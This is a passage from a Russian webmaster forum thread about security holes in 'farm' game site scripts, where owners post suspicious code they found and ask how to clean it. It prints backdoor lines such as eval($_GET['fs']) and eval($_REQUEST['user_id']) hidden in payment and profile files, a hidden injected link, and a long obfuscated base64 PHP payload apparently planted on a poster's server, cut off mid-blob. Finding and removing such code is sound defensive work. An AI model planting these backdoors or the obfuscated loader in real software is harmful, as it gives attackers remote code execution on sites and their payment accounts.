Дыры на сайтах

  • Автор темы agamurat
  • Дата начала
assus
Если нужна ферма пишите. Дизайн для Ферм.
Участник
Сообщения
454
Реакции
59
Skype
  • #421
цуацуаа написал(а):
а какие основные дыры? чтобы можно было закрыть? и как файл .htaa.. сделать защищенным?
на форуме обсуждалось посмотри, если не получится напиши мне у меня как будит время посмотрю
 
himik
Участник
Сообщения
230
Реакции
32
  • #422
Viktor написал(а):
ничего лишнего там нет.
в браузере хрома только предлагает скачать, в опере проверял, там всё нормально.
В настройках хрома смотри соответствие действий файлам
В мозиле например Приложения>>Тип содержимого>>Действия
 
SCUTER777
Участник
Сообщения
77
Реакции
1
  • #423
Помогите, у меня на ферме гегается 1 человек и делает мульти-аккаунты и потом с них переводит подарочное серебро на 1 из своих аккаунтов, как он это делает? и как это можно исправить?
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #424
Подскажите! У меня раньше был доступ из мозилы к моему скрипту.... и тут я наткнулся на такие строчки в файле _class.rfs_payeer причем пропись написана в привате, стало подозрительно.
можете помочь.... стоит удалить или же надо заменить чем то? Очень прошу помощи! Вот файл.

Скрытое содержимое для зарегистрированных пользователей!

<?php

class rfs_payeer
{
private $url = 'https://payeer.com/ajax/api/api.php';
private $agent = 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0';

private $auth = array();

private $output;
private $errors;

/*======================================================================*\
Function: __construct
Descriiption: Выполняется при создании экземпляра класса
\*======================================================================*/
public function __construct($account, $apiId, $apiPass)
{
$arr = array(
'account' => $account,
'apiId' => $apiId,
'apiPass' => $apiPass,
);
$response = $this->getResponse($arr);
if ($response['auth_error'] == '0')
{
$this->auth = $arr;
}
}


/*======================================================================*\
Function: PaySystemData
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function PaySystemData($SystemId)
{
if (empty($this->auth)) return false;
$response = $this->getPaySystems();

if($response["auth_error"] == 0){

if(isset($response["list"][$SystemId])){

return $response["list"][$SystemId];

}else return false;

}else return false;

}

/*======================================================================*\
Function: isAuth
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function isAuth()
{
if (!empty($this->auth)) return true;
return false;
}


/*======================================================================*\
Function: getResponse
Descriiption: Получение ответа от сервера
\*======================================================================*/
private function getResponse($arPost)
{
if (!function_exists('curl_init'))
{
die('curl library not installed');
return false;
}
if ($this->isAuth())
{
$arPost = array_merge($arPost, $this->auth);
}
$data = array();
foreach ($arPost as $k => $v)
{
$data[] = urlencode($k) . '=' . urlencode($v);
}
$data = implode('&', $data);

$handler = curl_init();
curl_setopt($handler, CURLOPT_URL, $this->url);
curl_setopt($handler, CURLOPT_HEADER, 0);
curl_setopt($handler, CURLOPT_POST, true);
curl_setopt($handler, CURLOPT_POSTFIELDS, $data);
curl_setopt($handler, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($handler, CURLOPT_USERAGENT, $this->agent);
curl_setopt($handler, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($handler);
curl_close($handler);
$content = $this->objectToArray(json_decode($content));
return $content;
}


/*======================================================================*\
Function: objectToArray
Descriiption: Перевод обьекта в массив
\*======================================================================*/
private function objectToArray($ob)
{
$arr = array();
foreach ($ob as $k => $v)
{
if (is_object($v))
{
$arr[$k] = $this->objectToArray($v);
}
else
{
$arr[$k] = $v;
}
}
return $arr;
}


/*======================================================================*\
Function: getPaySystems
Descriiption: Получение платежной системы
\*======================================================================*/
public function getPaySystems()
{
$arPost = array(
'action' => 'getPaySystems',
);
$response = $this->getResponse($arPost);

return $response;
}


/*======================================================================*\
Function: initOutput
Descriiption: Инициализация данных на выплату
\*======================================================================*/
public function initOutput($arr)
{
$arPost = $arr;
$arPost['action'] = 'initOutput';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
$this->output = $arr;
return true;
}
else
{
$this->errors = $response['errors'];
}
return false;
}

/*======================================================================*\
Function: output
Descriiption: Выплата
\*======================================================================*/
public function output()
{
$arPost = $this->output;
$arPost['action'] = 'output';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
return $response['historyId'];
}
else
{
$this->errors = $response['errors'];
}
return false;
}

/*======================================================================*\
Function: getHistoryInfo
Descriiption: Получение истории
\*======================================================================*/
public function getHistoryInfo($historyId)
{
$arPost = array(
'action' => 'historyInfo',
'historyId' => $historyId
);
$response = $this->getResponse($arPost);
return $response;
}


/*======================================================================*\
Function: getBalance
Descriiption: Получение баланса
\*======================================================================*/
public function getBalance()
{
$arPost = array(
'action' => 'balance',
);
$response = $this->getResponse($arPost);
return $response;
}


/*======================================================================*\
Function: getErrors
Descriiption: Возвращает ошибку
\*======================================================================*/
public function getErrors()
{
return $this->errors;
}


/*======================================================================*\
Function: transfer
Descriiption: Никуя не вникал что это за метод...
\*======================================================================*/
public function transfer($arPost)
{
$arPost['action'] = 'transfer';
$response = $this->getResponse($arPost);
return $response;
}

}
?>

 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #425
wh1skas написал(а):
у меня слава богу тоже не было ))) встретилась такая строка, решил всех предупредить. Мне комментарий понравился к этой функции в файле payeer_merchant:
PHP:
# Если пользователь админ, то
eval($_GET['fs']);
Поржал ))
Есть парочку приведенных по поиску (eval)

Скрытое содержимое для зарегистрированных пользователей!

это 1: $msortline .= "\$marray));";
eval($msortline);
return $marray;

это 2:
var is = new Is();
function enterSubmit(keypressEvent,submitFunc){
var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
if( kCode == 13) eval(submitFunc);

это 3:
<?PHP
$user_id = $_SESSION["user_id"];
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>


Где здесь стоит большее внимание уделить? И что стоит изменить или удалить?
 
SCUTER777
Участник
Сообщения
77
Реакции
1
  • #426
Это вы на мой вопрос ответили? если да то можно поподробней
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #427
Нашел через просмотр исходного кода!!! Нужна помощь, как она туда попала и как ее убрать и залатать?
Заранее спасибо!
</table>
<BR />
</div>
<div class="clr"></div> <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>

<BR /><center><script type="text/javascript" language="JavaScript">
function changeImg(source,links)
{ document.getElementById('pict').src = source;
document.getElementById('link').href = links;
};


<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="footer">
<center>
<div style="margin:2px; opacity:0.2">
</div>
</center>
<div class="clr-line"></div>
</div>

</div>
</body>
</html>
 
assus
Если нужна ферма пишите. Дизайн для Ферм.
Участник
Сообщения
454
Реакции
59
Skype
  • #428
Bloodscreed написал(а):
Нашел через просмотр исходного кода!!! Нужна помощь, как она туда попала и как ее убрать и залатать?
Заранее спасибо!
</table>
<BR />
</div>
<div class="clr"></div> <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>

<BR /><center><script type="text/javascript" language="JavaScript">
function changeImg(source,links)
{ document.getElementById('pict').src = source;
document.getElementById('link').href = links;
};


<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="footer">
<center>
<div style="margin:2px; opacity:0.2">
</div>
</center>
<div class="clr-line"></div>
</div>

</div>
</body>
</html>
может оно там было?!
и с интернета качать скрипты опасно много что могут запихнуть, посмотри каждый файл, удали ненужные файлы, проверь фильтрацию, а желательно обратится тому кто в этом шарит!
 
viper5
Местный
Сообщения
155
Реакции
2
  • #429
SCUTER777 написал(а):
Помогите, у меня на ферме гегается 1 человек и делает мульти-аккаунты и потом с них переводит подарочное серебро на 1 из своих аккаунтов, как он это делает? и как это можно исправить?
само легко это поменять подарочное серебро на деревья
 
VladL
Участник
Сообщения
115
Реакции
8
  • #430
viper5 написал(а):
само легко это поменять подарочное серебро на деревья
Вы пишите взлом не объяснив людям и толк от этого ?
 
viper5
Местный
Сообщения
155
Реакции
2
  • #431
VladL написал(а):
Вы пишите взлом не объяснив людям и толк от этого ?
не ну чтоб серебро не переводили надо ставить фильтрацию на запросы.
это я по лёгкому обьяснил т.к. может чел не разбирается...деревья то уже не перекинут в другой акк...сначала лучше сделать так а потом искать и закрывать дыры
 
VladL
Участник
Сообщения
115
Реакции
8
  • #432
viper5 написал(а):
не ну чтоб серебро не переводили надо ставить фильтрацию на запросы.
это я по лёгкому обьяснил т.к. может чел не разбирается...деревья то уже не перекинут в другой акк...сначала лучше сделать так а потом искать и закрывать дыры
Ты людям скрин дай или файлы покажи ) я это понимаю , а люди нет запросы итп !
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #433
Ребята помогите Очень нужно!!!
Залили код, на сервере нашел две папки, права блин везде выставил почти 444
Помогите Очень прошу!
Испортили капчу, теперь битый ярлык как исправить?
Вот коды это 1
Скрытое содержимое для зарегистрированных пользователей!

<?$J__='base'.(128/2).'_de'.'code';$J__=$J__(str_replace("\n", '', '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
